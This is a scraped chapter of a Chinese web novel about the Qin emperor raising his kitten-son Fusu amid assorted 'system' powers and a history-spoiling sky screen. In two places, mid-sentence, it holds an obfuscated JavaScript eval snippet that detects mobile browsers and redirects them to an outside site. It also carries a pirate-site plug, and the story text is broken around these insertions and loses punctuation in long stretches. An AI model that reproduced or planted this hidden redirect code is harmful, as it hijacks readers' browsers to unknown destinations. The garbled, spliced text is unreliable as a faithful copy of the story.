“你就是这么解决问题的?” 秦帝理直气壮: “这么解决问题有什么不对吗?” 他们大秦不是一直都这么解决问题的吗?不行就打仗,谁赢了谁说了算。 秦政不和他掰 扯这个,只对扶苏伸手示意儿子自己回来,别让他亲自动手。 扶苏乖乖回到父亲怀里: “我只是想出去玩。 秦政捏了捏他的小肉垫: “朕带你去。 现在他是彻底不信那些个口口声声说自己肯定能看好扶苏的家伙了,没一个说的是实话。 秦帝第N次拐带儿子失败,只能回去玩自己的儿子。 秦政则带着儿子出门逛了几圈。 这么长时间过去,外界的头条八卦早就变了。不知道为什么,最近好像流行起了去修真位面建立一番基业的活动。 打听过详情之后—— 扶苏有些迷惑: “他们的版本也落后太多了吧? 这些人说是听闻大秦在修真界建立了一个仙国,觉得很有前途。毕竟仙国可比凡人王朝稳固得多,随随便便就能延续个几千年的。 但问题在于,这都是秦政父子二人六个世界前干出的操作了。期间还经历了两人闭关突破神阶,哪怕地府时间流速快,也过去了好几十年。 而且往前数,其实父子俩一开始是一直拖着没去修真界的。反倒是秦帝先去了,比两人去的还要早几个世界。 总之,各朝的消息实在是太滞后了。 扶苏猜测: “等仙国热潮过去之后,他们就要去星际大展拳脚了。 秦政忍不住轻笑了一声: “然后再去西幻是吧? 这番对话容易被人打,有一种在秀优越感的感觉。秦政就没让儿子出去嘚瑟,带着他回家了。 回去之后,扶苏说他们要继续领先各家几十年,于是催促父亲陪他去新世界玩耍。 秦政随手抓了个盲盒世界球出来: “你消停点,小心一语成谶,当真抽到什么很难应付的位面。 扶苏明显只是想去个简单的位面玩,并不打算真给自己找麻烦,又去个修真星际西幻这种攻克难度比较高的高等位面加班。 偏偏太子殿下总是忘了自己的乌鸦嘴属性,所以只能当爹的帮忙注意点了。 秦政催熟世界球之前特意说了一句: “这应该是个普通位面。 如果不是,他就换一个。 这样哪怕扶苏的乌鸦嘴功力过于强悍,他也能“人定胜天”。 结果连开了三个位面,情况一个比一个复杂。 第一个是洪荒世界,开场处在混沌时期,不知道还要多久才会等到盘古开天。进去之后只能在混沌里游荡,而且在这个位面里待着,动辄就是几千万年起步。 第二个是童话世界,进去之后人就变成卡通人了。秦政设想了一下自己会变成什么模样,二话不说把它丢开了。 第三个是克苏鲁世界,到处都是不可名状的神秘生物,看一眼就要疯。这么一个世界实在是超出了古人的认知,而且棘手程度堪称秦政见过的所有位面之最。 秦政默默地看向儿子: “你自己看。” 扶苏有些心虚: “阿父,你再试试,你运气好,肯定能出个局势简单的位面。” 秦政:……你可别再立flag了。 秦政认命地去抽第四个,顺便反手把童话世界和克苏鲁世界的坐标发给秦稷。 秦稷回了一个问号:「?」 秦政言简意赅: 「抽到的不能用的残缺位面,您看着处理。」 秦稷前段时间为躲仇人,干脆变成了和他爹惠文王一样的中年形象。然后把胡子留上,造型也模仿秦驷,还真骗过了不少人。 这会儿他捻着唇上的小胡子思索起来,要怎么拿这两个世界出去坑人。 最近追他最紧的是哪两个朝代的人来着?好像是唐朝的和明朝的……好!就塞给他们! 秦稷说干就干。 他迅速切回了年轻俊美的模样,出门拉仇恨搞事去了。这头秦政则抽了第四个世界出来,洪荒要放一放,放到开天辟地之后再进去才比较有意思。 终于抽出了一个比较正常的位面。 扶苏看完说道: “我觉得这个位面也挺不正常的。” 秦政淡淡地看了他一眼: “总比克苏鲁正常。” 扶苏于是就乖乖闭嘴了。 位面中。 这是一个非常混乱的位面,混乱不在局势,而是在反复出现的各种稀奇古怪的金手指系统。 大概是后世的始皇粉对大秦二世而亡这件事太过遗憾 ,每每看到一个金手指,就忍不住念叨这东西要是能给始皇爸爸就好了。 所以公子政从出生起,就开始不断遇到各种奇遇。 小的时候,他被迫绑定了学习系统。在赵国为质的几年,天天沉浸在学海里根本没有休息的时间。 学习系统表示: 【千古一帝从娃娃抓起!优秀的卷王是不需要娱乐放松的!】 然后公子政学完了里面的所有内容之后,面无表情地把系统捏碎了。 没有人会喜欢被逼着一天十二个时辰学习,睡梦里也在学。哪怕那个是千古一帝也不行,因为是人就需要放松。 没有在学习中变态,那都得归功于公子政天生强悍的心理素质。能强压着脾气学完再把胆敢逼迫他的系统收拾掉,已经算是很能忍了。 换成某个太子,早就逼着系统把所有东西都默写下来,然后二话不说收拾掉。要怎么学是他自己的事情,用不着系统在那里多管闲事。 系统程序只能哭唧唧地逃回了现代。 失去了外壳的程序相当于人类失去了躯体,只剩下灵魂。虽然回到总部就可以重新换一个身体,但宿主真的好吓人,它再也不来了! 回到秦国后。 公子政又被一个自称“好感系统的东西找上,给他制定了一堆刷好感的任务。 上到祖父秦王柱和父亲太子子楚,下到需要结交的臣子李斯和将军王翦,应有尽有。 任务奖励是历史上的各种改良技术,还要求必须把好感刷到满值才给奖励。而为了调动宿主的积极性,好感度降低会进行惩罚,避免宿主消极怠工。 为了这些奖励,公子政不得不再次选择妥协,并在心里狠狠记了这系统一笔。 所以没有例外的,这个系统也被他捏碎了。 这次的系统程序也哭着逃窜了。 秦王时期。 这次出现的系统更多了,一口气蹦出来三个。 第一个是历史聊天群,群里有各朝各代的帝王,互相交流自己知道的八卦。里头还有一个误入的历史系学生,以为他们都在假扮历史名人,经常天真单纯地分享一些只有他们后世人知道的消息。 秦王政靠着这个聊天群,提前解决了很多大秦隐患。介于它还算有用,而 且并不会强制要求自己做什么秦王选择了留下它。 第二个是万界红包群这个群里的群友倒不是帝王了。而是各界的厉害人物诸如修真大能、末世强者、娱乐明星、千年鬼王。 秦王通过他们了解到了很多新奇设定大家经常互相之间发发红包互通有无。用自己这边烂大街的东西换对面烂大街的东西然后各自获取巨大利润。 这个聊天群也挺好导致秦王对聊天群这种存在印象非常不错。希望以后出现的都是聊天群系统那种就别来了。 但第三个来的还是系统好在这次来的是基建系统。 而且它不会给秦王发布任何任务只有一个单纯的成就列表。完成成就后就发放成就奖励不完成也无所谓。 已经拥有红包群的秦王倒是不那么眼馋奖励了所以成就做得很随性基本只会挑拣着自己换不到的东西去主动做。 其他的成就则是一统六国、建设大秦时会顺便完成然后奖励一些可有可无的东西。 到底是白来的秦王还算满意。 他怀疑是自己之前连续捏碎两个系统让制作系统的厂商意识到他不好惹后面才会那么乖觉一连送来三个老实本分的金手指。 可见人善被人欺为人还是要强硬一些为好。 凭借着对各类金手指的合理利用秦王终于在二十五岁那年提前统一了天下。 那些不讲道理的好东西直接无视了客观上的困难从玄学层面降维打击。所以如今不仅六国余孽没了反抗的意思秦王想要推行的政策也都非常顺利地进行了下去。 大秦进入平稳发展阶段。 秦王看着自己身上挂着的“天下归心”“海晏河清”“五谷丰登”等一系列神奇光环又看看除了需要日常处理的政务之外已经毫无挑战可言的大秦天下 很好二十五岁完成了终生目标他终于可以躺平了。 天知道他从记事起就被各种金手指系统鞭策着没有休息过铁人也扛不住这样的加班。 回顾往昔二十多年竟然一点娱乐都没有体验过。 哪怕是帝王聊天群里其他人在聊八卦的时候秦王都在埋头干活根本没空去翻他们聊的东西。 最离谱的是,为了提前进入养老阶段,秦王的少年和青年时期都忙碌异常。忙到根本没有空去临幸后宫,等他意识到他的长子扶苏没能出生时,已经过去好几年了。 秦王的笑容渐渐消失。 即便他吃了星际的基因改造液、修真界的寿元增长丹、魔法世界的生命药剂、还修炼了各种稀奇古怪的功法,估计千年内是死不了了。 但是——他没有继承人。 没有继承人意味着他是个孤家寡人,而人类都是有情感需求的。哪怕是千古一帝,也不是铁做的,也需要来自亲人的情感陪伴。 人终究是个社会动物,而秦王已经受够了孤身一人的日子。 臣子们对他的好感度是满值不错,可他们只是臣子。秦王想要一个单纯的、不把他当君王的亲人,最好乖巧可爱会依赖他,能够充分满足他的大男子虚荣心。 虽然史书记载和后人口中的扶苏仿佛并不是那么的乖,还会梗着脖子劝谏父亲。 然而在秦王看来: “从来没有人敢这么跟朕说话,扶苏是不同的。 这就是他想要的孩子。 成功晋升为始皇帝并且开始养老的陛下,这天认真地在几个群聊里打下了一行文字,询问诸位错过了儿子的出生时间还能怎么补救。 他不想要别的孩子,他就想要扶苏。 世界就诞生在这个节点,秦政进入位面中,成功获得了秦始皇帝的身份。在此之前的一切,都是设定中的回忆。 这篇故事写的是辛苦了二十五年的陛下厌倦了加班生活,终于开始享受人生。 作者大概是个母爱泛滥的妈粉,所以着重描写陛下的悠闲日常。 就是初始设定对陛下不太友好,好在那只是设定,并没有真正出现一个始皇帝倒霉地经历这些摧残。 秦政封锁了全部记忆,脑海里只有本位面始皇帝的回忆。他顺利代入了对方的心累,平生头一回感受到了他家太子的心理状态。 ——秦扶苏就是那个前世今生累得不行,死后只想躺平的大秦皇帝。 秦政表情严肃地看着面前打开的两个群聊界面,将同一段话输入进去。 [帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658931|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王群][秦始皇]:朕的扶苏还没出生,已经错过七年了,如何补救 ? [红包群][古代帝王]:朕的扶苏还没出生已经错过七年了如何补救? 一下子把所有人都炸了出来。 众所周知秦始皇/古代帝王背后的人是个超级工作狂勤奋到令人发指。居然连水群的诱惑都能抵挡住平时从来不在群里多说一个字。 但是今天他说了足足十九个字带三个标点符号是历史之最。 红包群还好点毕竟陛下偶尔还是会在群里和大家互通有无的。比如艾特某个人问他那里有没有好用的伤药然后双方细聊达成合作。 帝王群就不同了陛下从不主动在帝王群说话。他只会关注别人说了什么对大秦有用的消息然后默默记下。 偶尔被刘彻这种艾特烦了才会丢下一句「朕在加班」表示没空聊天。 帝王群里的诸位一致认为始皇帝是个非常高冷且沉默寡言的人整天埋在国事里根本不关心其他。 他们还进行过无聊的比赛比的是几个著名的勤奋皇帝里到底谁才是最卷的那个。最后全年只放三天假的明太祖和每天只睡不到两个时辰的雍正都被比了下去。 因为秦始皇他既不放假也不睡觉。 刘彻简直无法理解: 「他怎么连觉都不睡的!朕子时睡醒他在线丑时睡醒他在线寅时睡醒他在线卯时睡醒他还在线!」 ——聊天群里只要醒着就显示在线状态 部分皇帝无聊到接力盯着始皇帝的头像一连半个月。最后终于确定了他是真的不睡觉连个午睡都没有。 陛下:朕睡了身体睡了精神没有。 金手指显然是绑定神魂的所以脑子不睡就等于没睡。 陛下被之前的破系统折腾得睡眠困难已经从小习惯了身体睡觉思维清醒。如果不清醒了系统有的是办法让他清醒。 后来系统被他收拾掉了这个毛病也没改善。尤其是拥有了稀奇古怪的奖励之后他已经可以做到身体修炼、神魂处理政务了。 恐怖如斯。 秦政现在就觉得很疲惫他的神魂已经二十多年没有好好休息了幸好只是设定上的疲惫。 他都有些不可置信疑惑自己为什么能够做到魂魄二十年不睡 觉都没疯。这根本就不科学,难道这也是金手指的效果? 算了,这些不重要。 现在的重点是儿子怎么救回来。 秦政先看红包群。 因为帝王群里的那堆家伙只会口嗨,屁用没有一个。指望他们不如指望哪天出现个专业对口的金手指,他只是以防万一才在那里也发了一遍消息。 红包群里消息刷得飞快。 毕竟大家也是头一次遇到这种求助,以前只见过生完孩子不想要的、没生孩子想避孕的。错过了孩子的出生,却想精准把那个孩子生出来的,真没见过。 [修真大能]:这道题本座不会,下一个。 他们修真界生育困难,修士夫妻经常很多年也生不出一个孩子。能生出来就当宝贝疙瘩护着,哪里还有挑拣的余地? [魔法药师]:抱歉,没炼制过这种类型的魔药。不过我对你这个课题很感兴趣,你等我几十年,我去钻研一下,看看能不能做出你需要的药剂。 秦政:…… 秦政诚恳地告诉她—— [古代帝王]:不是朕太心急,而是孩子他娘等不了。不说几十年,再过十几年她可能就过了生育年龄了。 [魔法药师]十分遗憾:这样吗?那真是太可惜了! [末世强者]:别问我,到处都是丧尸,没人生孩子的。实在不行我去研究所给你找找试管婴儿的研究资料,但我觉得你那边可能没有条件提取细胞进行培育。 [古代帝王]:就算能提取,恐怕也已经错过了对应的精卵细胞。 [末世强者]:你居然连这个都知道?你是不是学过生物。 [古代帝王]:是的。 幼年时的学习系统教了他一堆乱七八糟的东西,包括生物学知识。 [未来教授]:本来我还想说我这边科技发达,说不定可以帮到你。你这么一说我也意识到了,细胞确实是个问题。以后培育再多的胚胎,也不会是你要的那个。 未来位面的教授建议秦政直接放弃。 [千年鬼王]:科技解决不了你的难题,你应该求助玄学力量。比如我可以在我这个位面找一找,说不定这里有公子扶苏的魂魄。到时候你找个女子怀孕,把他塞进去,不就是你的扶苏了? [古代帝王]:……朕拒绝朕只想要朕的扶苏。 顿了顿 [古代帝王]:但是那个扶苏朕也不排斥你先找着吧。如果他是孤零零一个人那就塞红包里发给朕如果他和他父亲在一起就不用了。 [千年鬼王]:行吧你要求真多。 [洪荒道人]:老朽给你算了一卦你的扶苏很快就会到来了。你们父子缘分很深不必担忧。 秦政总算舒展了眉头。 这位来自洪荒的强大道人活了不知道多少年算命就没有出过错。既然他说自己能等到自己的扶苏就肯定是真的了。 秦政谢过这位道人发了个红包出去。 洪荒世界长日无聊大家一闭关就是几十万年打底。道人说他已经修炼到了大罗金丹在往上的半圣和圣人他也不指望了现在就想舒舒服服当个米虫。 所以道人欢迎一切娱乐物品帮助他打发漫长时光。秦政就把命小说家收集到的市井杂谈故事合集发了过去作为这次询问的报酬。 顺便发了一波大秦特产的肉酱感谢其他群友的热心回答。 魔法药师谢绝了他的肉酱表示自己不喜欢吃虫子。 千年鬼王谢绝了他的肉酱表示自己不需要吃饭。 未来教授谢绝了他的肉酱表示自己不缺吃食。 修真大能谢绝了他的肉酱表示这东西不是人吃的。 最后只有末世强者欣然接受并拿走了全部的肉酱。别人不要他要这玩意儿还是挺下饭的。 [末世强者]:正好最近生存基地发放的粗粮饼子没味道还难以下咽用点肉酱蘸着吃会好很多。 众人:…… 你确定蘸完不会更难以下咽吗? 末世真是太苦了虫子做的酱都能吃得下去。 正好秦政也不爱吃这个于是额外给对方多发了几坛子让他慢慢吃。他有个空间可以保鲜也不怕放坏了。 清完自家的库存秦政戳开洪荒道人的私聊。询问对方具体要怎么操作才能迎来自己的扶苏。 难道现在去找楚姬生孩子吗? [洪荒道人]回复他:已经在母亲肚子里了不出意外这两日临盆。 第 250 章 小坏蛋 第250章小坏蛋 外力都指望不上,看来只能自己想办法了。 秦政带着儿子回到章台宫,将小崽放在桌案上让他自己玩,伸手取过奏章开始批阅。 虽然进入养老状态了,但该干的活还是要干的。让一个工作狂彻底闲下来也不太可能,还是会习惯性加班。 好在这样的情况正在慢慢减少。 毕竟有一个黏人的崽崽,陛下不得不多抽点时间来陪孩子。能加班的时间被极致压榨,眼看着只能保证每天的最低工作时长了。 批文写到一半,小猫崽忽然爬上了奏章。他熟练地直奔父亲拿着毛笔的手,想要爬上去。 秦政没动,任由他爬。 但是今天小崽崽攀爬的时候脚没抓稳,突然滑了一下。倒是不至于受伤,毕竟才刚刚往上爬,还没爬起来呢。 唯一的问题是,一脚踩在了刚写下还没干的墨字上。然后为了爬上去重新又在四处踩了踩,于是留下了一堆小爪印。 秦政低头看了看奏章上几个半截的猫爪印,想了想选择了无视。 打回去让臣子重写太麻烦了,就这样吧。太子愿意在奏章上留下爪印是看的起他们,想来臣子不会介意的。 臣子确实不介意。 要不是奏章都得收回去由少府统一入库封存,他都想留下来当珍藏了。 这可是太子殿下的爪印! 李斯痛心疾首地看着被拿走的奏章: “要是能单独把脚印裁下来一个给我也好啊!” 大秦上下那么多人,只有他的奏章被太子印过爪爪,多大的殊荣! 王绾冷笑了一声,马屁精。 其实宫中被太子摁过脚印的东西不少,不过一般不会被臣子看到。 秦政批改奏折的时候墨砚就摆在旁边,小太子满桌子乱爬玩耍,当然会“一不小心”爪爪踩进去,然后就开始满桌留爪印。 扶苏认认真真地在父亲手背上摁下一个完美的黑色小梅花。这是他的阿父,打上标记。 秦政忽略他继续批奏折。 扶苏又去给镇纸打上标记,小猫咪镇纸,可爱,现在属于他了。 秦政还是没有管他。 等秦 政批完上午的奏章太子殿下已经把桌上每个物品都摁上了爪印。可是太子还需要靠爪爪走路所以来回走动的时候难免会在各地留下一串小梅花。 然后等走到想要摁爪印的地方发现摁不出来了。之前的墨水已经消耗在了路上他得回去再沾一次。 好在聪明的崽崽想到了他回去再回来肯定又是白跑一趟。所以他扭头冲侍官咪咪叫侍官就很有眼力见地上前为太子殿下侍奉墨砚。 即便如此每次扶苏摁完脚印走动的时候还是会留下新的一串脚印。 秦政批完奏章任由侍从把东西都拿走之后便发现除了放奏章的位置其他地方都是密密麻麻的爪印。 秦政:…… 这要是有个侦探来调查嫌疑人的移动轨迹能给侦探绕晕。 秦政把儿子捞回来: “给朕看看你的小手。” 猫崽乖乖伸爪: “咪呜。” 为了沾墨小猫手腕位置的毛毛也沾上了墨。本来就是黑猫根本看不清只能伸手摸一摸才知道有没有沾到墨汁。 这爪子可不容易洗干净多的是地方可以藏污纳垢。 侍从端来了水盆。 虽然盆很小可太子更小。所以哪怕是个洗手的盆也很方便太子跳下去洗个澡。 秦政刚把儿子捧到盆边示意他坐在父亲手上探身把手洗了。结果小猫崽兴奋地往前一扑就跳进了水里。 秦政无奈地叹气: “怎么会有你这么爱水的小猫咪?” 别的猫咪毛上沾了水就立刻甩掉而且一般猫崽还不能频繁洗澡最好是舔毛清洁。他家太子不肯舔毛 扶苏一边在水里扑腾玩一边冲父亲叫唤。他才不是小猫咪他都听说了他是龙子狴犴阿父骗不了他。 龙当然喜欢水了! 小猫好不容易玩水玩尽兴了期间为了不让水温变凉侍从们还熟练地往里头添了几次热水。 每次太子洗手都会变成洗澡习惯就好。 秦政把小崽捞出来: “等下要着凉了。” 扶苏甩了甩毛甩了他爹满脸的水。 秦政面不改色地取过巾帕 抹干脸上的小水珠检查了一下儿子的手。 看不出来墨汁洗掉了没有。 秦政用小绒帕把他裹好接着放到了侍官手里。自己抓着他的小爪子沾上水和皂液细细揉搓了一遍。 洗了几回之后水已经不会变黑了。算了就假装洗干净了吧反正都是黑色的。 而且过几天墨渍也会自己消失。 扶苏窝在帕子里被侍从轻柔地擦拭着湿漉漉的毛好半天也没能擦干。 秦政看着越发想让儿子变人了变成人之后洗澡擦水一擦就干。现在这样每次洗完澡他都得担忧一下生怕儿子因为毛擦得不够干而生病。 偏偏又不能使劲擦反复擦小猫崽本来毛就细软怕给他擦秃了。 冬天还能烤烤火把毛毛烘干。现在快入夏了反而麻烦总觉得是靠儿子的体温自己蒸干的。 秦政看了一眼外面。 快到中午了出去晒晒太阳好了。 于是捧着还带点潮气的儿子出去坐到树荫地下将他放在精心挑选的一小块能照到阳光的地方用东西围起来让它就在这一块活动。 小猫崽仰头: “咪?” 秦政拈起一条硬硬的小鱼肉丝: “来阿父喂你吃点东西。” 有零食吊着本来还想凭借自己的努力爬上围挡投奔父亲的扶苏立刻不动了乖乖吃着磨牙的肉丝。 小奶牙吃这个费劲等他吃完一条身上的毛早就被太阳晒干了。 楚姬过来看望儿子 “陛下他还太小怎么能吃这么硬的东西?” 啃都费劲不敢想吃下去的有没有嚼碎了。硬硬的一块落进胃里奶猫脆弱的肠胃怎么受得了。 秦政一开始也不敢乱喂但他现在已经有经验了。神兽就是神兽哪怕只有五个月大也没什么吃东西的忌讳。 秦政理直气壮地说: “朕都喂他吃过很多次了。” 言下之意儿子能吃不会有事。 楚姬:果然不能让当爹的养孩子。 可惜楚姬争抚养权争不过孩子他爹只能每天来看儿子一趟陪他吃个午饭午后再玩一会儿。 ——绝对不是中午太热来蹭冰的。 还没正式入夏夫人宫中没有冰的份例能用只有章台宫才能如此奢侈。楚姬一般待到半下午不太热就走了回去找同样长日无聊的其他姬妾打叶子牌。 侍从已经将午膳摆好一家三口落座。楚姬率先端起装了虾肉泥的小碗用小勺一口一口喂儿子吃午饭。 猫崽崽早就饿了。 之前玩了好久本来就又累又饿父亲还拿香喷喷的鱼肉丝勾引他。但是啃半天吃不到多少反而浪费了好多体力 楚姬端起碗的时候他就已经和饿死鬼一样咪呜咪呜叫个不停听得人心疼。秦政心虚地在旁边辩解说儿子吃过零食了那一条鱼肉丝可不小。 楚姬对此充耳不闻。 儿子的饭量你是一点不提啊!那么一小条管什么用? 楚姬一勺子肉泥喂过去吃饭一向很香甜的崽崽立刻张嘴。没怎么咀嚼就吞了下去然后又眼巴巴等着第二勺。 楚姬一边喂一边心疼: “怎么饿成这样?” 秦政专心吃饭假装没听见。 等一碗鲜甜的虾肉泥吃完又吃了一碗鱼肉泥才终于吃饱。 但这个时候的小太子还是能吃的只不过当娘的怕他积食不给吃。所以扶苏假装自己是要钻到父亲袖子里玩其实悄悄去偷桌上的炸小鱼吃。 秦政摁住了他: “炸的你不能吃。” 扶苏抗议地喵咪呜。 秦政把他捉出来递给侍官: “看着他。” 这下小太子没办法偷偷干坏事了侍官用手环着他形成了一个牢不可破的围笼。上方的空地只能探出一个脑袋身体出不去。 虽然有个说法是“猫咪的脑袋能过去的地方身体就能过去”可其实这个说法不太准确。应该是“胡须能过去的地方身体就能过去”胡须要比脑袋宽不少。 所以太子殿下被成功卡住了。 他只能把脑袋搭在侍官的手上眼巴巴看着爹娘吃得香甜。 吃完午饭秦政抬头一看小太子果然已经就着这个姿势睡着了。 楚姬伸出手: “给我吧我带他去午睡。” 秦政 眉头一皱: “你自己去睡就行了他睡觉容易乱滚小心压着他。” 而后不由分说抢走了儿子带去了自己那屋。 楚姬:。 今天又是没能抢到儿子的一天。 好在午后小崽崽睡醒了知道找娘因为他苦逼的亲爹还得继续批下午的奏章快傍晚才有空陪他玩耍。 楚姬拿出给儿子做的小衣服: “阿苏来试试这个。” 扶苏一看衣服扭头就跑神身穿衣服不舒服他拒绝。 可惜小猫腿短跑不远很快就被捉了回来。楚姬絮絮叨叨地说这是阿娘亲手给他缝的不许嫌弃。 等秦政忙完过来看到的就是一只换上了新衣服的小猫咪很是有趣。 崽崽委屈地冲阿父咪呜。 秦政把他捞过来: “你要是早点变成人就不用穿这些小衣服了。” 他怀疑扶苏学不会变人可能是故意的觉得当只猫崽比较舒服。所以秦政另辟蹊径用别的胡萝卜来钓他。 而且他说的也是实话。 变成人之后 天真的小太子相信了。 第二天一早醒来秦政就发现躺在心口的小猫崽变成了人类小宝宝。什么衣服都没穿趴在他身上玩他的头发。 秦政拢住他: “小坏蛋果然是故意不变人的。” 扶苏崽开心地喊道: “阿、阿父!” 秦政惊喜不已: “这就会说话了?” 才五个月大呢神兽果然和寻常小孩不可同日而语。 太医夏无且一大早赶来给变成人形的小太子检查身体健康问题倒是没有这一点养崽系统也每天都在更新数据。 唯一的意外情况在于太子有点大了: “陛下这么大的孩子肯定不是五个月。一般孩童要两三岁才能长这么大所以太子自然能够学会说话。” 两三岁还算少的毕竟真正的小猫咪一岁相当于人类的十五岁。扶苏这种少说也该五六岁了不过他毕竟不是真正的小猫。 两三岁的孩子已经可以满宫乱跑了。 然而因为天气越来越热,怕热的小崽崽就没出门,依然天天待在章台宫里。 扶苏好奇地看着父亲的群聊: “阿父,这是什么? 他最近说话越来越利索了,短短两三天的时间,已经不再磕绊。这让秦政越发确信小坏蛋早就学会了说人话和化形,就是故意不告诉他的。 秦政给他穿上衣服。 人类身体穿衣服没有猫猫身体那么不适应,扶苏乖巧的任由父亲摆布。一双大眼睛依然盯着群聊界面,这东西他以前没看过。 不过扶苏很快回忆起来,以前好像看到过阿父对着看不见的虚空比比划划。 秦政用群聊的摄像功能给他拍了一张照片发到群里,给群友们看看他家俊俏可爱的小太子。 秦政问他: “你什么时候能看见这个屏幕的? 扶苏回答道: “就是刚才呀,突然出现了! 说的域名qiexs?(请来企鹅小 说 看最新章节 完整章节) 秦政若有所思。 以前都是只有他一个人能看见,扶苏忽然拥有了权限,是从变人开始的。但他并不觉得人形和猫形的差距能这么大,这里头一定有别的缘故。 想到自从养崽系统之后就一直没再冒出新的金手指,秦政大概猜到了什么。 那些金手指经常以某一件事为节点,在这件事发生后出现。或许投放金手指的幕后之人把扶苏的化形也设置成了一个合适的节点,所以扶苏今天能看见屏幕了。 金手指估计不会只是扶苏能看见以前看不见的屏幕那么简单,肯定还有别的。 果不其然。 一刻钟后上朝的时候,光幕突然降临。群臣惊讶地看着大殿半空中出现的巨大屏幕,第一反应是去看陛下的表情。 陛下身上的神异之处那么多,不会又是陛下做了什么吧? 秦政冷静地看着那光幕。 他自从意识到自己身边经常出现各种金手指之后,就有意识地找群友们了解过更多的金手指类别。 所以光幕一出现,他就基本确认了这次的是什么金手指——天幕剧透。 新来的天幕并不清楚大秦的情况,它默认了这里是正史上的大秦。所以它上来就放王炸,企图借此震慑到众人,让所有人意识到自己有多重要。 便见天幕中出现了一行大字: 「大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658932|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦二世而亡」 原本还在提心吊胆的群臣:就这? 早在几个月前,他们企图劝说陛下多生几个孩子时,陛下就告诉过他们,他预知到未来有个幼子会祸害大秦的国祚。然后借此逃避了生崽,因为一只小猫咪养起来已经很费劲了。 当时陛下说得像模像样的,他们也就信了。本以为这光幕要说点什么不一样的东西,结果还是这个。 没意思。 看来它不是陛下弄出来的。 光幕丝毫不知自己来晚了,还在慷慨激昂地讲解大秦是怎么土崩瓦解的。然而群臣已经丝滑地忽略了它,开始该干嘛干嘛。 秦政和臣子都专心奏事,只有怀里的小太子好奇地盯着天幕看个不停。 天幕:【李斯矫诏令扶苏自刎。】 李斯瞪了这个妖言惑众污蔑他的天幕一眼,继续奏自己的事: “今年的台风在登入琉球之前就改道了,远离了我大秦国境。” 扶苏则颇为捧场: “哇!自刎唉!” 李斯:…… 秦政抽空叮嘱儿子: “自刎是傻崽才干的事情,阿苏不要学。” 扶苏嗯嗯嗯地点头: “我才不学,我把他们刎了。” 群臣:…… 太子殿下果然凶残,不愧是上古神兽血脉,好! 就是这个说法有点怪怪的,听着像是“我把他们吻了”。 天幕:【胡亥效仿秦始皇巡游天下,走到哪里就把觉得对他不够恭敬的太守处死。】 扶苏:“哇!好威风!” 群臣:…… 太子殿下不要学!这是坏习惯! 群臣齐齐感到了窒息。 这天杀的天幕播什么不好,给婴幼儿播这种东西,懂不懂什么叫十八禁啊?万一太子学坏了怎么办?他们亲朋好友里当太守的可不少! 天幕:【赵高找了一只鹿进献给胡亥,并当众对胡亥说这是一匹马,借此试探朝臣对他是否服从。如果有人纠正他这是鹿,他就把那人杀掉。最后胡亥相信了它是一匹马,这就是指鹿为马的故事。】 扶苏:“哇!但是我也没见过鹿!” 群臣 :…… 好了好了,知道太子殿下你年纪还小什么世面都没见过了。不用特意说出来,这样容易显得你也和胡亥一样无知。 天幕万万想不到,该给反应的那些人无动于衷,只有一个两三岁的傻崽崽特别捧场。 也不知道他在激动个什么劲,估计看都没看懂天幕说的内容。 天幕背后的系统十分郁闷。 这不是它想要的结果,它想让秦人把它当成能够预言的神器,从此奉为圭臬。虽然这对它来说也没什么好处,但能满足它的虚荣心啊! 天幕不信邪,播放完了历史解说后,灵机一动,换成了别的内容。 它就不信这次的大秦众人还会不重视。 所以天幕切换出了科普视频: 「深度解析导致大秦灭亡的多重因素」 因为标题是没有念出声来的,只有文字打了出来,所以要自己看。系统还考虑到了古人的阅读习惯是从上到下、从右到左,所以打出来的是一行从右往左读的文字标题。 这个阅读顺序古人是可以接受的,毕竟牌匾也是这样的一行。 这次群臣果然肃穆起来。 但这时又出现了熟悉的小奶音,是他们太子殿下在认真念标题: “素因重多的亡灭秦大致导析解度深?阿父,这是什么意思?” 还没开始学习的文盲崽崽,靠着系统的黑科技能力完成了识字。然而系统千算万算没有算到,之前跟着阿父看群聊的扶苏崽一直接受的都是从左往右读。 天幕系统纵横历史长河三千年,头一次遭遇这样的滑铁卢。 ——你好端端的为什么不按照古人的习惯阅读文字! 秦政轻笑了一声,揉揉儿子脑袋: “阿苏干得不错。” 其实小坏蛋以前玩过竹简,他知道正确的读法是什么,就是故意这么念的。还有之前假装捧场其实捣乱,也是小坏蛋有意为之。 天幕系统比较弱智,没有发现自己被个小孩子耍了。大概也是轻视了孩子的智商,觉得三岁小娃娃能有什么本事。 群臣虽然着急想听第二段关于大秦灭亡的分析,不过看到太子捣乱他们也没说什么。 这天幕来历不明,确实应该弹压一下它的气焰。太子做的对, 不愧是他们大秦的太子就是聪慧。 天幕决定无视这个小屁孩。 它开始一项项分析大秦的制度和现状着重说了秦吏管不住手下的六国旧贵族这件事经常有人阳奉阴违。还有秦吏干脆就是六国旧贵当然会暗中搞事。 群臣翘首以盼了半天结果说的就是这东西。 羌瘣忍不住小声吐槽: “六国都归心了哪来的六国余孽作乱啊梦里吗?” 他们陛下人格魅力那么强根本不像天幕里说的那样只是靠着威名吓得其他人不敢明面上造次。 武将的“小声”很多时候其实并不小声整个殿内的人都听见了。 天幕也卡壳了一会儿。 天幕坚强地继续往下讲解: 